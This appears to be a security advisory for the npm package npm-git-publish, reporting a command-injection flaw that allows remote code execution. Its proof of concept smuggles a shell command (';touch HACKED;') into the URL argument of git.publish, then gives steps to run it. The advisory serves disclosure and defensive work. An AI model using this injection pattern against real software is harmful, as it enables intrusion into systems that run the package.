npm-git-publish

vulnerability remote code execution
severity 3.8
language typescript
registry npm

Description

The npm-git-publish module is vulnerable against RCE due to user-supplied inputs being formatted and executed without proper validation

POC

  1. Create the following PoC file:
// poc.js
var git = require('npm-git-publish');
git.publish('.', 'http://gihub.com ;touch HACKED; #')

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i npm-git-publish # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created

References